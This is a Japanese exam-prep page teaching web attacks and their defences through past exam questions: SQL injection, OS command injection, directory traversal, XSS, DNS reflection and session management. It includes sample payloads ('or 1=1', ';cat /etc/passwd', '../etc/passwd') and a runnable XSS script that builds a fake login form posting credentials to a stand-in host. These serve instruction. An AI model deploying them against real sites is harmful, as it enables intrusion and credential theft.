情報処理安全確保支援士(情報セキュリティスペシャリスト) - SE娘の剣 -

情報処理安全確保支援士(情報セキュリティスペシャリスト)試験に合格するためのサイトです。
過去問を多数引用しながら、基礎知識をしっかり学んでもらうように作ってあります。
また、情報処理安全確保支援士(情報セキュリティスペシャリスト)を楽しく学べるように工夫したいと思います。

9.サーバセキュリティ

1.サニタイジング(エスケープ)処理とは
SQL インジェクション対策はサニタイジング(エスケープ)処理が一般的です。
過去問では、SQLインジェクション攻撃を防ぐ方法として、「入力値から,データベースへの問合せや操作において特別な意味をもつ文字を解釈されないように保護する。(H20SU 午前問題 問26より)」と述べられている。

また、過去問(H18秋SU午後Ⅱ問1)では、「SQLインジェクション対策のためのエスケープ処理とは,利用者から入力される値が、SQL文にとって特別な意味をもつ記号文字の場合に,例えば,"'"であれば"''"のように"'"を二つ続けた文字列に置換する処理のことです。」とあります。

Webフォームなどに、<script> のようなスクリプトが埋め込まれた場合、HTMLではスクリプトと判断してスクリプトが実行されます。単純な例を挙げます。以下の記載をしたとします。

<script>alert("こんにちは");</script>

すると、画面に以下のようなポップアップ画面(アラート)が表示されます。あなたが掲示板の管理者だとして、このような書き込みをされたとすると、その掲示板を開くたびにこのアラートが出てしまいます。困りますよね。
alert_情報セキュリティスペシャリスト試験
掲示板でのポップアップレベルならいいですが、個人情報を抜かれたり、サーバを乗っ取るようなコマンドを仕掛けられることもあります。これは防がなければいけません。

2.サニタイジング(エスケープ)処理の方法1
対策(エスケープ処理)として、<script>などの文字を、Webサーバ上ではプログラム用の言葉ではなく、単なる文字として認識させます。具体的には「<」を「&lt;」としてエスケープ処理をします。すると、Webサーバ側では、&lt;script&gt; となりますので、これはプログラム用の言葉ではないと判断されるのです。
7a536a8a

 &lt;script&gt; 書いたとしても、
ブラウザ上では <script> と表示されるのですね。



はいそうです。ブラウザがきちんと自動で認識をしてくれます。掲示板などに&lt;script&gt;と書き込んで試してみるといいでしょう。

エスケープ処理(サニタイジング処理)における、文字の変換例は以下です。

表2 文字の置換
元の文字置換後の文字列
 &&amp;
 < &lt;
 > &gt;
&#39;
&quot;
(H18年SV午後Ⅰ問1表2より引用)

これを丸暗記しようとすると難しいが、意味を理解すると覚えやすい。例えば「&」であれば、本来の名称であるampersand、「<」であれば、less than(~より小さい)のltである。
セキュアプログラミングに関しては、IPAのサイトに充実した解説がされている。http://www.ipa.go.jp/security/awareness/vendor/programming/index.html

3.サニタイジング(エスケープ)処理の方法2
別の例を見ましょう。SQLインジェクション対策としてのエスケープ処理の具体的な処理としては、 ' を '' に変換します。サニタイジングをしない場合、UserNameに a' or '1'='1' と入力すると、データベース側では、
 SELECT * FROM USER WHERE UserName = 'a' or '1'='1'
と判断され、'1'='1'は正しいことから、不正なアクセスが可能だ。
一方で、サニタイジングをすると、同じ入力をした場合、以下になる。
 SELECT * FROM USER WHERE UserName = 'a'' or ''1''=''1'
こうなると、SQLの構文として不適切であり、この部分は「文字列」として扱われる。
なおかつ、データベース側では、''は'という文字列として自動認識してくれるので、入力した通りの文字として正常に処理される。
情報セキュリティスペシャリスト試験を目指すSE成子

サニタイジングとエスケープ処理との違いはなんですか?
同じですか?
まあ、一緒と思ってもいいだろう。
サニタイジング(無害化)の方法の一つが文字の変換などによるエスケープ処理。サニタイジングの方法は、エスケープ処理以外に、特殊文字は入力させない、処理を強制終了させるなどがある。
又は、もっと単純に、’などの特殊文字をそもそも受け付けず、入力フォームにてエラーを出すことも方法の一つ。

参考:Taintモード
Perlの場合、Taintモード(汚染検出用のモード)がある。
IPAの以下の資料には、次のような効果が記載されている。http://www.ipa.go.jp/security/awareness/vendor/programmingv1/pdf/a04_03.pdf
このモードでは,フォームからのデータのみでなく,コマンドライン引数,環境変数,ロカール情報 ,幾つかのシステムコール(readdir,readlink,getpw* 呼び出しのgecos フィールド)の結果,すべてのファイル入力などを汚染データとして扱い,これらのデータをサブシェルを起動するコマンド(system,exec など)や,ファイルやディレクトリ,プロセスに変更を加えるようなコマンド(unlink,umask など)の引数として使用した場合,エラーとしてくれる。

設定は簡単
#!/usr/bin/perl -T ←これをつけるだけ
ただ、万能ではないし、実装されていることも少ない(気がする)。

1.OSコマンドインジェクションとは
SQLインジェクションと同様に、脆弱性のあるサーバに対し、OSのコマンドをインジェクション(injection:注入)します。これによる脅威として、IPAの資料(https://www.ipa.go.jp/files/000017316.pdf)では以下のように記載されています。OSコマンドが自由に実行されると何が起こるかを考えると、理解しやすいでしょう。
■ 発生しうる脅威
OS コマンド・インジェクション攻撃により、発生しうる脅威は次のとおりです。
- サーバ内ファイルの閲覧、改ざん、削除
 重要情報の漏えい、設定ファイルの改ざん 等
- 不正なシステム操作
 意図しないOS のシャットダウン、ユーザアカウントの追加、変更 等
- 不正なプログラムのダウンロード、実行
 ウイルス、ワーム、ボット等への感染、バックドアの設置 等
- 他のシステムへの攻撃の踏み台
 サービス不能攻撃、システム攻略のための調査、迷惑メールの送信 等

2.OSコマンドインジェクションの対策
対策としては、同じくIPAの上記サイト(https://www.ipa.go.jp/files/000017316.pdf)に、以下の2点が記載されています。
①シェルを起動できる言語機能の利用を避ける。
②シェルを起動できる言語機能を利用する場合は、その引数を構成する全ての変数に対してチェックを行い、あらかじめ許可した処理のみを実行する。
少し補足します。①に関しては、Perlでファイルを開く場合、シェルを起動できてしまうopen関数ではなく、sysopen関数を利用します。
②に関しては、「|」、「<」、「>」等、問題となりうる文字をチェックし、それが見つかった場合には処理を中断します。

では、過去問を解いてみましょう。 
問15 Webアプリケーションの脆弱性を悪用する攻撃手法のうち,Perlのsystem関数やPHPのexec関数など外部プログラムの呼出しを可能にするための関数を利用し,不正にシェルスクリプトや実行形式のファイルを実行させるものは,どれに分類されるか。
ア HTTPヘッダインジェクション
イ OSコマンドインジェクション
ウ クロスサイトリクエストフォージェリ
エ セッションハイジャック
(H26SC午前Ⅱ問15)
正解はイです。「外部プログラムの呼出しを可能にするための関数を利用し」とあります。これは、たとえば、Perlのopen関数を使い、引数に「|」を活用してOSコマンドを渡します。そうして、不正にコマンドやファイルを実行します。

H30春SC午前Ⅱ問2
問2 Webサーバのログを分析したところ,Webサーバヘの攻撃と思われるHTTPリクエストヘッダが記録されていた。次のHTTPリクエストヘッダから推測できる,攻撃者が悪用しようとしている脆弱性はどれか。ここで,HTTPリクエストヘッダはデコード済みである。

  〔HTTPリクエストヘッダの部分〕
    GET /cgi-bin/submit.cgi?user=;cat /etc/passwd HTTP/1.1
    Accept:*/*
    Accept-Language: ja
    UA-CPU: x86
    Accept-Encoding: gzip, deflate
    User-Agent:(省略)
    Host: test, example.com
    Connect ion: Keep-Alive


ア HTTPヘッダインジェクション  イ OSコマンドインジェクション
ウ SQL インジェクション         エ クロスサイトスクリプティング
 注目すべきは、「;cat /etc/passwd HTTP/1.1」の部分です。catは、指定されたファイルの内容を表示するコマンドです。これにより、サーバのパスワードを取得しようとしています。OSのコマンドを不正に入力しているので、OSコマンドインジェクションが正解です。

正解:イ

補足します。OSコマンドインジェクションは、一例として、OSのコマンドを入力できる関数(例、system)などを利用している場合に危険が高くなります。
以下も参照
http://sm.seeeko.com/archives/65929324.html

問題文の以下の構文を見てみましょう。
GET /cgi-bin/submit.cgi?user=;cat /etc/passwd HTTP/1.1

このとき、?の後ろが、ユーザから入力される引数で、それが、OSコマンドが実行されるsystem関数やopen関数に引き渡されているとします。
たとえばuserにyamadaと入れた場合に、yamadaのディレクトリにあるファイル一覧が見れるようなコマンドが渡されるとします。

system("ls $user")

user=yamadaなら
実行されるコマンドは "ls yamada" になります。

そして、user=yamada;cat /etc/passwdなら
実行されるコマンドは "ls yamada;cat/etc/passwd"となり、passwdファイルの中身が表示されてしまいます。

reflectionは反射で、ampは増幅器。
DNSの問い合わせにて、送信元のIPアドレスを攻撃対象にすることで、DDoS攻撃をしかける。
dns_reflection_情報セキュリティスペシャリスト試験
次の過去問(H21春SC午後1問1)を解いてみよう。
問14 DNSの再帰的な問合せを使ったサービス不能攻撃(DNS amp)の踏み台にされることを防止する対策はどれか。
ア キャッシュサーバとコンテンツサーバに分離し,インターネット側からキャッシユサーバに問合せできないようにする。
イ 問合せされたドメインに関する情報をWhoisデータベースで確認する。
ウ 一つのDNSレコードに複数のサーバのIPアドレスを割り当て,サーバヘのアクセスを振り分けて分散させるように設定する。
エ 他のDNSサーバから送られてくるIPアドレスとホスト名の対応情報の信頼性をディジタル署名で確認するように設定する。(H24SC春午前2)
正解はアだ。つまり、そもそも、攻撃者からのDNS問い合わせに回答しなければいいのだ。
もう一問。
K君 :パケットモニタZには, DNSクエリを伴わないDNSクエリレスポンスが多量に記録されていました。パケットモニタZのログを図3に示します。

-----図3の解説
送信元がDMZ上のDNSサーバのIPアドレスで、宛先がインターネット上のIPアドレスのログが大量に記録されている。

J主任:このようなログは,社内LAN上のPCがDNSクエリを送信するときに自身のIPアドレスを[ b ]のIPアドレスに[ c ]した場合に記録されます。
K君 :不正なDNSクエリが多量にDMZ上のDNSサーバに送りつけられたことで, Webページを閲覧するときの応答が遅くなったのですね。確かに,すべての社内PCからの名前解決を, DMZ上のDNSサーバが担っていますから。
J主任:こういった通信は[ d ]攻撃と呼ばれています。至急,不正なパケットを棄却する設定をすべての部門のルータに適用してください。
K君 :はい,分かりました。
J主任:こうした事象は,ウィルス感染によってよく引き起こされます。

設問1
(2)本文中の[ b ]に入れる適切な字句を解答群の中から選び,記号で答えよ。また,本文中の[ c ]に入れる適切な字句を、5字以内で答えよ。
bに関する解答群
ア DMZ上のDNSサーバ ウ インターネット上
イ DMZ上のWebサーバ

(3)本文中の[ d ]に入れる適切な字句を解答群の中から選び,記号で答えよ。
解答群
ア DNS cache poisoning  ウ 総当たり
イ DNS reflection   エ ファーミング
bはウ
cは詐称
dはDNS reflection

クロスサイトスクリプティング(XSS)に関して過去問では、「HTML出力文字列のエスケープ処理が不適切な場合、攻撃者の作成した不正なリンクによってWebサイトを閲覧した利用者のブラウザ上でスクリプトが実行される脆弱性(H23SC春PM2-2設問3(1))」と述べられています。クロスサイトという言葉の通り、複数のサイトにまたがった(クロスした)仕組みです。
別の過去問(H28秋SG午前問22)では、「クロスサイトスクリプディングの手口」として「Webアプリケーションに用意された入力フィールドに,悪意のあるJavaScriptコードを含んだデータを入力する」と述べられています。
クロスサイトスクリプティング(Cross Site Scripting)ですから、本来はCSSという略になります。でも、スタイルシート(CSS:Cascading Style Sheets)と混同するのでXSSになりました。
簡単な例を紹介します。
以下のスクリプトを掲示板に投稿すると、その掲示板ではJavaScriptにより、悪意のサイトが起動します。
  
  <script>window.open('http://ポップアップする悪意サイト');</script>
  
では、具体的に見て行きましょう。

通常の場合
掲示板の投稿欄に「こんばんは」と入力すると、その結果が「こんばんは」として表示されます。
xss_情報セキュリティスペシャリスト試験

XSSの脆弱性がある場合
掲示板の投稿欄にスクリプトを埋め込むと、悪意のあるサイトがポップアップします。ポップアップするサイトは、設定により、URLやステータスバーなどを消すことも可能です。利用者に、悪意のサイトとは気付かせないこともできるでしょう。うまくやれば、ここで、個人情報などを入力させることができます。
xss2_情報セキュリティスペシャリスト試験
または、以下を書き込むと、自動で悪意のサイトに遷移します。

  <script>document.location = "http://本物に似せた悪意サイト/"; </script>

ここで、本物そっくりのサイトにすれば、利用者は知らず知らずに個人情報などを入力してしまうかもしれませんね。
クロスサイトスクリプティングの巧妙な例は、以下に述べられています。ご参考まで。
http://itpro.nikkeibp.co.jp/article/NEWS/20060619/241207/

1.ディレクトリトラバーサルとは
トラバーサル(traversal)とは「横断」という意味である。
横断歩道は、本来は車のために縦方向にある流れを歩行者のために横に断ち切る。ディレクトリトラバーサルも同様で、横断的にファイルにアクセスする。

具体例で見てみましょう。以下のディレクトリ構造を見てください。
例えば、htmlディレクトリは公開していいファイル、secretディレクトリは非公開のファイルが格納されているとします。
directory-traversal
また、現在のディレクトリが上記のhtmlだったとします。
ここで、相対パスとして「../../secret/secret.txt」を指定します。「../」は、上位のディレクトリを意味する文字列です。
こうすると、非公開のファイルであるsecret.txtファイルにアクセスすることができるのです(ただし、アクセス権が許可されている場合)。

過去問(H27秋AP)では、「入力文字列からアクセスするファイル名を組み立てるアプリケーションに対して,攻撃者が,上位のディレクトリを意味する文字列を入力して,非公開のファイルにアクセスする。」とあります。
情報セキュリティスペシャリスト試験を目指す女性SE 

「入力文字列からアクセスするファイル名を組み立てるアプリケーションに対して」ってどういう意味ですか?
IPAの以下の資料の「ディレクトリトラバーサル攻撃 」の部分が参考になります。https://www.ipa.go.jp/security/awareness/vendor/programmingv1/b07_07.html

以下のサイトがかなり重要。他にもたくさん大切なページがある
http://www.ipa.go.jp/security/vuln/vuln_contents/dt.html

では、過去問を見てみよう。
問45 ディレクトリトラバーサル攻撃に該当するものはどれか。
ア Webアプリケーションの入力データとしてデータベースへの命令文を構成するデータを入力し,想定外のSQL文を実行させる。
イ Webサイトに利用者を誘導した上で, Webサイトの入力データ処理の欠陥を悪用し,利用者のブラウザで悪意のあるスクリプトを実行させる。
ウ 管理者が意図していないパスでサーバ内のファイルを指定することによって,本来は許されないファイルを不正に閲覧する。
エ セッションIDによってセッションが管理されるとき,ログイン中の利用者のセッションIDを不正に取得し,その利用者になりすましてサーバにアクセスする。 (H24FE春 午前問45)」
正解はウである。
もう一問。これの正解は「ディレクトリトラバーサル」であるが、以下を見ると、どのように不正な操作をするのかが分かると思う。
[ ]に入れる適切な字句を15字以内で答えよ
 GET /cgi-bin/enquete.cgi view=../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
図5 5021番の脅威と判定したパケットに含まれていた文字列

パケットに含まれる文字列からすると、CGIプログラムに含まれる[  ]の脆弱性を利用して、パスワードファイルを取得することをねらったもののようです。(H22SC春午後Ⅱ問2設問3(1)より)

有名な事件として、2003年に、某協会のホームページから個人情報1184人分が流出した。
原因は、サイト側の脆弱性ではあったが、そこをついて情報を公開した大学の研究者は、不正アクセス禁止法で逮捕されることになった様子。

2.絶対パスと相対パス
過去問(H25年秋FE午後問11)では、絶対パスと相対パスに関して、以下の記載があります。
「パスは,木構造をもつファイルシステムにおいてディレクトリを特定するために利用される文字列であり,ディレクトリの名前を“/”で区切って並べて表す。“/”で始まるパスを絶対パスという。絶対パスはルートディレクトリを起点として表したパスである。“/”で始まらないパスを相対パスという。相対パスは任意のノートを起点として表したパスである。」

過去問(H28SC春午後1問1)で、クロスサイトスクリプティングの例を見てみましょう。
Nさん:XSS脆弱性の影響は,警告ダイアログの表示だけではありません。例えば,攻撃者は,URLパラメタであるkeywordに攻撃用の文字列として<script src="https://wana.example.jp/Login.js"></script>を組み込んだhttps://kensho.m-sha.co.jp/Gamen2_2へのリンクを含む電子メールを作成し,被害者に送付します。被害者がそのリンクをクリックした場合,図3の画面2-2ではなく,図5のように改変された画面2-2'が表示されます。このときのhttps://wana.example.jp/Login.jsのスクリプトは,図6のとおりです。
ds
Nさん:被害者が画面2-2'でメンバIDとパスワードを入力すると,それらは[ a ]というホスト名のWebサーバに送信されます。この場合,画面2-2'が表示された時点で,被害者が偽のログインフォームだと気付くかというと,それは難しいでしょう。
J主任:なるほど。こんな被害が発生するのですね。

設問1(1) [ a ]に入れる適切な字句を、FQDNで答えよ。

この問題には前段がありますので少し補足します。以下の画面2-1のように、キーワードを入れるとその結果が画面2-2のように表示されます。
以下は、「チョコ」というキーワードを入れた画面です。
ab
右の画面2-2のURLは、https://kensho.m-sha.co.jp/Gamen2_2?keyword=チョコ です。

問題文にあるように、ここで、https://kensho.m-sha.co.jp/Gamen2_2?keyword=<script src="https://wana.example.jp/Login.js"></script> というURLのリンクを作成します。

このURLを実行するとどうなるでしょうか。
画面2-2の[ チョコ ]の部分が[ script src="https://wana.example.jp/Login.js"></script> ] と表示されるのですが、このスクリプトを実行してしまい、図5のような画面が表示されるのです。

皆さんにも体験していただきたいので、以下を実行してみてください。

作成するファイルは2つです。
1.HTMLファイル(result.htm)
<html>
<head></head>
<body>
<h1>検索結果</h1>
<script src="./Login.js"></script>を検索した結果です。
</body>
</html>

2.JSファイル(Login.js)
document.body.innerHTML = "";  // HTML body 部を全部消去する
document.write('<H1>ログイン</H1>');
document.write('M社懸賞ページへようこそ。ログインしてください。<br>');
document.write('<form name="loginForm action="https://wana.example.jp/login" method="post">');
document.write('メンバID<input type="text" name="id"><br>');
document.write('パスワード<input type="password" name="password">');
document.write('<input type="submit" name="send" value="ログイン"></form>');
この2つのファイルを同じフォルダに置いて、result.htmファイルを開いてください。画面2-2のような検索結果が出るはずが、図5の画面に書き換わっていることが分かると思います。

セッション管理とは
4

セッションってそもそも何でしたっけ? 
TCPのコネクションとの違いも教えて下さい
TCPのコネクションは3wayハンドシェークが行われる一連の通信。一方のセッションという言葉は、あいまいな言葉である。かなり乱暴ではあるが、買い物サイトにログインした情報と考えてほしい。
 一つのセッションに複数のTCPコネクションが作成されることになるだろう。
2

なぜセッション管理が必要なんですか?
Webサイトでショッピングをする際に、ログインすることが多い。ログインした情報を持っておけば、買い物がスムーズに行える。たとえば、購入履歴のページでは、ログインIDをもとに表示できる。発送の段階ではログインIDをもとに住所を表示できる。
このように、Webページをまたがって一連の処理をするときに、セッション管理が求められる。
参考であるが、IPAの文献には以下の記載がある。
電子商取引サイトのようにWebサーバーにユーザがログインしてからログアウトするまで、ログイン情報を保持したままページを移管するには、このままでは問題がある。そこで、クライアントとサーバー間でその情報を保持し、アクセス制御を一つの集合体として管理する仕組みが必要となる。この仕組みをセッション管理と呼んでいる。
http://www.ipa.go.jp/security/awareness/administrator/secure-web/chap6/6_session-1.html

セッションIDの管理方法
大きく以下の3つがある。
クッキー(Cookie)
たとえば、Gmailにログインすると、クライアントのブラウザに、以下のようなCookieが作成される。
NAME GX
VALUE xxxx(長いので省略)
DOMAIN mail.google.com
PATH /mail
EXPIRES 2013/07/01 6:05:36

URLリライティング
クエリストリングで、SID(セッションID)をURLに埋め込むのだ。
URLに sid=xxx などと直接書くのだ。
http://~xxx.com/aa.aspx?sid=xxx
当然ながら、セッションIDが見えているわけだから、セッションハイジャックなどの攻撃にあいやすくなる。
情報セキュリティスペシャリスト試験を目指す女性SE 

でも、他の管理方法だって、HTTPSで暗号化されていないのであれば、キャプチャすれば見えてしまうと思います。セキュリティレベルは同じでは?



URLに含まれているかどうかは、一つのポイントだと思う。
IPAのセキュアプログラミグ講座にも「URLリライティングの方式では、URLの一部にセッションIDが含まれているため、キャッシュ、ログ、Referer:ヘッダ等を通じて第三者にその値が漏えいするおそれがある」(https://www.ipa.go.jp/security/awareness/vendor/programmingv2/web.html)とあります。

hiddenフィールド
hidden(隠された)という言葉の通り、HTMLのソースの中に、表からは見えないように埋め込む。
formタグの場合、以下のように埋め込んで、次のページに渡すことができる。
<input type="hidden" name="sid" value="123">
とはいえ、ソースを開けば見えてしまうし、改ざんも可能。セキュリティ面で優れるとはいいにくい。
それに、プログラミングにて、常にhiddenのフィールドを書く必要があり、かなり手間だ。

今のところ、①のCookieによるsession管理が主流だ。
以下は、上記の3つを図にしてみた。
素材3_3_セッションの管理方法


IPAの「『セキュア・プログラミング講座 (Webアプリケーション編)』 ブートアップセミナー」(http://www.ipa.go.jp/files/000030878.pdf)では、セッションIDを運ぶ手段が、以下の図のように1枚で整理されています。3つの内容は同じです。
Cookie

分類の仕方は考え方によるところがあるので、これは一例と思ってください。
上記のIPAの文献では、考え方は同じだが、2つに分類している。
2) セッション管理
セッション管理を実現するには、一般には以下のような方法が利用される。
ア) Cookieを利用
Webサーバー側で発行されたセッションIDをクライアントのCookieに持たせることで、特定ユーザの識別を行う。
イ) hiddenフィールドを利用
入力フォームをWebサーバーに送信する際に利用するFORMタグのhiddenフィールドにセッションIDを持たせることで、セッション管理を実施する。Cookieを使用できない場合に、利用されることが多い。
③のhiddenフィールドも、GETメソッドを使えば②のようにURLに記載される。

c2f058cb姉が、旦那が浮気しているか心配、と悩んでます。どういう対策をすればよいでしょうか?GPS携帯で監視するとか、お金をわたさないかかな。携帯はパスワードがかかっているし。
以前の携帯ならパソコンと接続してフリーソフトで暗証番号を簡単に解読できましたが、最近はダメです。


企業でも同じ心配がある。大事な顧客情報や企業情報は限られた社員に限定している。なおかつ教育をして高い意識を持たせているが、本当に漏えいしていないかは管理しようがない。「お天道様(おてんとさま)が見ているから」とセルフコントロールしてくれればいいのだが。
それと、嫌がられるが、きちんとログをとればかなり防げる。各種システムへのログイン、ログアウト、どのファイルにアクセスしたかのログをとり、きちんと分析する。そしてあやしいときは本人に確認する営みが大事である。
929c854c

なるほど。携帯のチェックや財布のチェック、帰宅時刻のチェック、場合によっては会社の同僚からの状況報告などね。嫌がられそう。



セキュリティは嫌がられるものなので、しかたがない。それと、加えてログを取得しているという事実を周知すること、分析結果を公開すること、違反した場合には罰則を設けることも大事。

過去問(H22SM午後1問4)には、アカウント管理のセキュリティ要件がまとまっているので、抜粋します。

想定脅威セキュリティ要件
不正利用した個人を特定できないアカウントの付与は特定の個人を対象とし、規定された承認者の承認を得ること
退職者のアカウントの不正利用アカウントを利用する必要がなくなった場合は、速やかに削除すること
管理者による不正利用承認者と行為者の職務を分離すること
なりすましによる不正利用パスワードは、定期的に変更することとし、類推が困難な文字列を採用すること

ここのセキュリティ要件に記載されている内容を理解しましょう。
では、過去問(H20春 初級シスアド午前)を解いてみましょう
問44 社内システムにおける利用者IDの管理として、適切なものはどれか。
ア システム資源の節約のために個人別のIDよりも共用のIDを推奨する。
イ 退職者のIDは本人から削除申請があるまで残しておく。
ウ 登録されているIDや利用者の権限などを定期的に点検する。
エ 利用者が異動になった場合、従来のアクセス権限に加えて新しいアクセス権限を付与する。

すべての選択肢に関して、適切であるのかそうでないのか。その理由はなにかを考えるようにしましょう。
そして、ID管理についてまとめるようにしましょう。
アは、不正解です。共用のIDを利用すると、不正が行われた場合に、本人を特定することができません。
イは不正解です。退職者用のIDは、即時に削除すべきです。たとえば、リモートアクセスの場合、そのIDを利用して不正なログインがなされる可能性があります。
ウは正解です。アクセス権が必要以上に割り当てられるなどしていると、情報漏えいなどのリスクが発生するからです。
エは不正解です。異動になった場合、従来のアクセス権は削除します。

【正解】
ウ 

スポンサードリンク

↑このページのトップヘ